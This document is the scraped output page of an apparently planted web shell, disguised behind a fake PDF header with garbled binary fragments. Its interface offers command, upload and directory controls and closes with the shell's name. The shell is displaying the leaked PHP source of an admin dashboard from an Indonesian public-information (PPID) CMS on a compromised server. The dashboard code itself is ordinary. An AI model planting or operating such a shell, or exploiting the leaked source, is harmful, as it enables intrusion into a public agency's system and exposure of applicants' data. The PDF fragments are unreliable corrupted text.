%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/index.php
<?php
/**
 * Dasbor Panel Admin — ringkasan statistik & permohonan terbaru.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_admin();

// ===================================================================
//  DASBOR ADMIN UPD (PPID Pembantu) — ter-scope pada unit user.
// ===================================================================
if (is_upd_admin()) {
    $upid = (int) current_upd_id();

    $cs = db()->prepare(
        "SELECT COUNT(*) total,
                SUM(status='publish') terbit,
                SUM(status='draft') draf,
                COALESCE(SUM(downloads),0) unduhan,
                COALESCE(SUM(views),0) dilihat
         FROM dokumen_informasi WHERE upd_id = ?"
    );
    $cs->execute([$upid]);
    $u = $cs->fetch();

    $perKat = db()->prepare(
        "SELECT k.nama, k.icon, k.warna, COUNT(d.id) jml
         FROM kategori_informasi k
         LEFT JOIN dokumen_informasi d ON d.kategori_id = k.id AND d.upd_id = ?
         WHERE k.tipe = 'kip'
         GROUP BY k.id, k.nama, k.icon, k.warna, k.urutan ORDER BY k.urutan"
    );
    $perKat->execute([$upid]);
    $kategoriRows = $perKat->fetchAll();

    $rec = db()->prepare(
        "SELECT d.*, k.nama AS kategori_nama
         FROM dokumen_informasi d JOIN kategori_informasi k ON k.id = d.kategori_id
         WHERE d.upd_id = ? ORDER BY d.created_at DESC LIMIT 6"
    );
    $rec->execute([$upid]);
    $recentDok = $rec->fetchAll();

    $pageTitle  = 'Dasbor — CMS PPID';
    $activeMenu = 'dashboard';
    require __DIR__ . '/partials/head.php';
    ?>
    <div class="flex flex-col md:flex-row md:items-center justify-between mb-8 gap-4">
        <div>
            <h2 class="text-2xl font-bold text-slate-900">Dasbor <?= e(current_upd_nama()) ?></h2>
            <p class="text-sm text-slate-500 mt-1">Ringkasan dokumen informasi publik unit Anda (PPID Pembantu).</p>
        </div>
        <a href="<?= e(url('admin/dokumen-form.php')) ?>" class="bg-mateng-blue hover:bg-sky-700 text-white px-5 py-2.5 rounded-lg text-sm font-semibold transition-all shadow-sm flex items-center gap-2 w-fit">
            <i class="fas fa-upload"></i> Unggah Dokumen Baru
        </a>
    </div>

    <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-6 mb-8">
        <?php
        $cards = [
            ['fa-folder-open', 'bg-blue-50 text-mateng-blue', 'Total Dokumen', (int) $u['total']],
            ['fa-circle-check', 'bg-green-50 text-mateng-green', 'Terbit', (int) $u['terbit']],
            ['fa-pen-ruler', 'bg-slate-100 text-slate-600', 'Draf', (int) $u['draf']],
            ['fa-download', 'bg-amber-50 text-mateng-gold', 'Total Unduhan', (int) $u['unduhan']],
        ];
        foreach ($cards as $c): ?>
            <div class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4">
                <div class="w-12 h-12 rounded-lg <?= $c[1] ?> flex items-center justify-center text-xl"><i class="fas <?= $c[0] ?>"></i></div>
                <div><p class="text-sm text-slate-500 font-medium"><?= e($c[2]) ?></p><p class="text-2xl font-bold text-slate-900"><?= number_format($c[3]) ?></p></div>
            </div>
        <?php endforeach; ?>
    </div>

    <div class="grid grid-cols-1 lg:grid-cols-3 gap-6">
        <!-- Per kategori -->
        <div class="bg-white border border-slate-100 rounded-xl shadow-sm p-6">
            <h3 class="font-bold text-slate-800 mb-4">Dokumen per Kategori</h3>
            <div class="space-y-3">
                <?php foreach ($kategoriRows as $k):
                    $cc = kategori_warna($k['warna']); ?>
                    <div class="flex items-center gap-3">
                        <div class="w-9 h-9 rounded-lg <?= $cc['icon_bg'] ?> <?= $cc['icon_text'] ?> flex items-center justify-center"><i class="fas <?= e($k['icon']) ?>"></i></div>
                        <span class="text-sm text-slate-600 flex-grow"><?= e($k['nama']) ?></span>
                        <span class="text-sm font-bold text-slate-900"><?= (int) $k['jml'] ?></span>
                    </div>
                <?php endforeach; ?>
            </div>
        </div>

        <!-- Dokumen terbaru unit -->
        <div class="lg:col-span-2 bg-white border border-slate-100 rounded-xl shadow-sm overflow-hidden">
            <div class="px-6 py-5 border-b border-slate-100 flex items-center justify-between">
                <h3 class="font-bold text-slate-800">Dokumen Terbaru Unit</h3>
                <a href="<?= e(url('admin/dokumen.php')) ?>" class="text-sm text-mateng-blue hover:underline font-medium">Lihat Semua</a>
            </div>
            <?php if (empty($recentDok)): ?>
                <p class="px-6 py-10 text-center text-slate-400 text-sm"><i class="fas fa-folder-open text-2xl block mb-2"></i>Belum ada dokumen. Mulai unggah dokumen unit Anda.</p>
            <?php else: ?>
                <div class="divide-y divide-slate-100">
                    <?php foreach ($recentDok as $d): ?>
                        <a href="<?= e(url('admin/dokumen-form.php?id=' . $d['id'])) ?>" class="flex items-center gap-3 px-6 py-3.5 hover:bg-slate-50 transition-colors">
                            <i class="fas <?= !empty($d['file_name']) ? e(file_icon($d['file_original'] ?? '')) : 'fa-file-circle-xmark text-slate-300' ?>"></i>
                            <div class="flex-grow min-w-0">
                                <p class="text-sm font-medium text-slate-800 truncate"><?= e($d['judul']) ?></p>
                                <p class="text-xs text-slate-400"><?= e($d['kategori_nama']) ?> · <?= e(tanggal_id($d['created_at'])) ?></p>
                            </div>
                            <?php if ($d['status'] === 'publish'): ?>
                                <span class="text-xs font-semibold text-mateng-green bg-green-50 px-2 py-1 rounded-full shrink-0">Terbit</span>
                            <?php else: ?>
                                <span class="text-xs font-semibold text-slate-500 bg-slate-100 px-2 py-1 rounded-full shrink-0">Draf</span>
                            <?php endif; ?>
                        </a>
                    <?php endforeach; ?>
                </div>
            <?php endif; ?>
        </div>
    </div>

    <?php
    require __DIR__ . '/partials/foot.php';
    return;
}

$stats = dashboard_stats();
$ratingStats = testimoni_stats();

$terbaru = db()->query(
    "SELECT p.*, k.nama AS kategori_nama
     FROM permohonan p
     LEFT JOIN kategori_informasi k ON k.id = p.kategori_id
     ORDER BY p.created_at DESC LIMIT 5"
)->fetchAll();

$pageTitle  = 'Dasbor — CMS PPID';
$activeMenu = 'dashboard';
require __DIR__ . '/partials/head.php';
?>

<div class="flex flex-col md:flex-row md:items-center justify-between mb-8 gap-4">
    <div>
        <h2 class="text-2xl font-bold text-slate-900">Dasbor Informasi</h2>
        <p class="text-sm text-slate-500 mt-1">Ringkasan layanan permohonan informasi publik.</p>
    </div>
    <a href="<?= e(url('admin/dokumen-form.php')) ?>" class="bg-mateng-blue hover:bg-sky-700 text-white px-5 py-2.5 rounded-lg text-sm font-semibold transition-all shadow-sm flex items-center gap-2 w-fit">
        <i class="fas fa-upload"></i> Unggah Dokumen Baru
    </a>
</div>

<!-- Kartu statistik -->
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-6 mb-8">
    <?php
    $cards = [
        ['Total Permohonan', $stats['total'], 'fa-file-invoice', 'bg-blue-50 text-mateng-blue', url('admin/permohonan.php')],
        ['Menunggu Verifikasi', $stats['verifikasi'], 'fa-hourglass-half', 'bg-yellow-50 text-mateng-gold', url('admin/permohonan.php?status=verifikasi')],
        ['Sedang Diproses', $stats['diproses'], 'fa-spinner', 'bg-sky-50 text-sky-600', url('admin/permohonan.php?status=diproses')],
        ['Selesai', $stats['selesai'], 'fa-check-circle', 'bg-green-50 text-mateng-green', url('admin/permohonan.php?status=selesai')],
    ];
    foreach ($cards as $c): ?>
        <a href="<?= e($c[4]) ?>" class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4 hover:shadow-md hover:border-slate-200 transition-all">
            <div class="w-12 h-12 rounded-lg <?= $c[3] ?> flex items-center justify-center text-xl"><i class="fas <?= $c[2] ?>"></i></div>
            <div>
                <p class="text-sm text-slate-500 font-medium"><?= e($c[0]) ?></p>
                <p class="text-2xl font-bold text-slate-900"><?= number_format($c[1], 0, ',', '.') ?></p>
            </div>
        </a>
    <?php endforeach; ?>
</div>

<!-- Statistik sekunder -->
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-5 gap-6 mb-8">
    <a href="<?= e(url('admin/testimoni.php')) ?>" class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4 hover:shadow-md transition-all">
        <div class="w-12 h-12 rounded-lg bg-amber-50 text-mateng-gold flex items-center justify-center text-xl"><i class="fas fa-star"></i></div>
        <div><p class="text-sm text-slate-500 font-medium">Rating Rata-rata</p><p class="text-2xl font-bold text-slate-900"><?= number_format($ratingStats['avg'], 1) ?> <span class="text-sm font-normal text-slate-400">/5</span></p></div>
    </a>
    <div class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4">
        <div class="w-12 h-12 rounded-lg bg-slate-100 text-slate-600 flex items-center justify-center text-xl"><i class="fas fa-folder-open"></i></div>
        <div><p class="text-sm text-slate-500 font-medium">Dokumen Terbit</p><p class="text-2xl font-bold text-slate-900"><?= number_format($stats['dokumen'], 0, ',', '.') ?></p></div>
    </div>
    <a href="<?= e(url('admin/keberatan.php')) ?>" class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4 hover:shadow-md transition-all">
        <div class="w-12 h-12 rounded-lg bg-red-50 text-red-600 flex items-center justify-center text-xl"><i class="fas fa-gavel"></i></div>
        <div><p class="text-sm text-slate-500 font-medium">Keberatan Baru</p><p class="text-2xl font-bold text-slate-900"><?= number_format($stats['keberatan'], 0, ',', '.') ?></p></div>
    </a>
    <a href="<?= e(url('admin/saran.php')) ?>" class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4 hover:shadow-md transition-all">
        <div class="w-12 h-12 rounded-lg bg-amber-50 text-mateng-gold flex items-center justify-center text-xl"><i class="fas fa-comment-dots"></i></div>
        <div><p class="text-sm text-slate-500 font-medium">Saran Baru</p><p class="text-2xl font-bold text-slate-900"><?= number_format($stats['saran'], 0, ',', '.') ?></p></div>
    </a>
    <div class="bg-white rounded-xl p-5 border border-slate-100 shadow-sm flex items-center gap-4">
        <div class="w-12 h-12 rounded-lg bg-green-50 text-mateng-green flex items-center justify-center text-xl"><i class="fas fa-chart-line"></i></div>
        <div>
            <p class="text-sm text-slate-500 font-medium">Tingkat Penyelesaian</p>
            <p class="text-2xl font-bold text-slate-900"><?= $stats['total'] > 0 ? round($stats['selesai'] / $stats['total'] * 100) : 0 ?>%</p>
        </div>
    </div>
</div>

<!-- Tabel permohonan terbaru -->
<div class="bg-white border border-slate-100 rounded-xl shadow-sm overflow-hidden">
    <div class="px-6 py-5 border-b border-slate-100 flex items-center justify-between">
        <h3 class="font-bold text-lg text-slate-800">Permohonan Terbaru</h3>
        <a href="<?= e(url('admin/permohonan.php')) ?>" class="text-sm text-mateng-blue hover:underline font-medium">Lihat Semua</a>
    </div>

    <div class="overflow-x-auto">
        <table class="w-full text-left border-collapse">
            <thead>
                <tr class="bg-slate-50 text-slate-500 text-xs uppercase tracking-wider">
                    <th class="px-6 py-4 font-semibold">No. Resi</th>
                    <th class="px-6 py-4 font-semibold">Nama Pemohon</th>
                    <th class="px-6 py-4 font-semibold">Kategori Info</th>
                    <th class="px-6 py-4 font-semibold">Tanggal</th>
                    <th class="px-6 py-4 font-semibold">Status</th>
                    <th class="px-6 py-4 font-semibold text-center">Aksi</th>
                </tr>
            </thead>
            <tbody class="text-sm divide-y divide-slate-100 text-slate-700">
                <?php if (empty($terbaru)): ?>
                    <tr><td colspan="6" class="px-6 py-10 text-center text-slate-400">Belum ada permohonan masuk.</td></tr>
                <?php else: foreach ($terbaru as $p): ?>
                    <tr class="hover:bg-slate-50/50 transition-colors">
                        <td class="px-6 py-4 font-medium text-slate-900"><?= e($p['no_resi']) ?></td>
                        <td class="px-6 py-4"><?= e($p['nama']) ?></td>
                        <td class="px-6 py-4"><?= e($p['kategori_nama'] ?? excerpt($p['rincian_informasi'], 30)) ?></td>
                        <td class="px-6 py-4 whitespace-nowrap"><?= e(tanggal_id($p['created_at'])) ?></td>
                        <td class="px-6 py-4"><?= badge_status($p['status']) ?></td>
                        <td class="px-6 py-4 text-center">
                            <a href="<?= e(url('admin/permohonan-detail.php?id=' . $p['id'])) ?>" class="inline-flex p-2 text-mateng-blue hover:bg-blue-50 rounded-lg transition-colors" title="Proses Permohonan">
                                <i class="fas fa-eye"></i>
                            </a>
                        </td>
                    </tr>
                <?php endforeach; endif; ?>
            </tbody>
        </table>
    </div>
</div>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass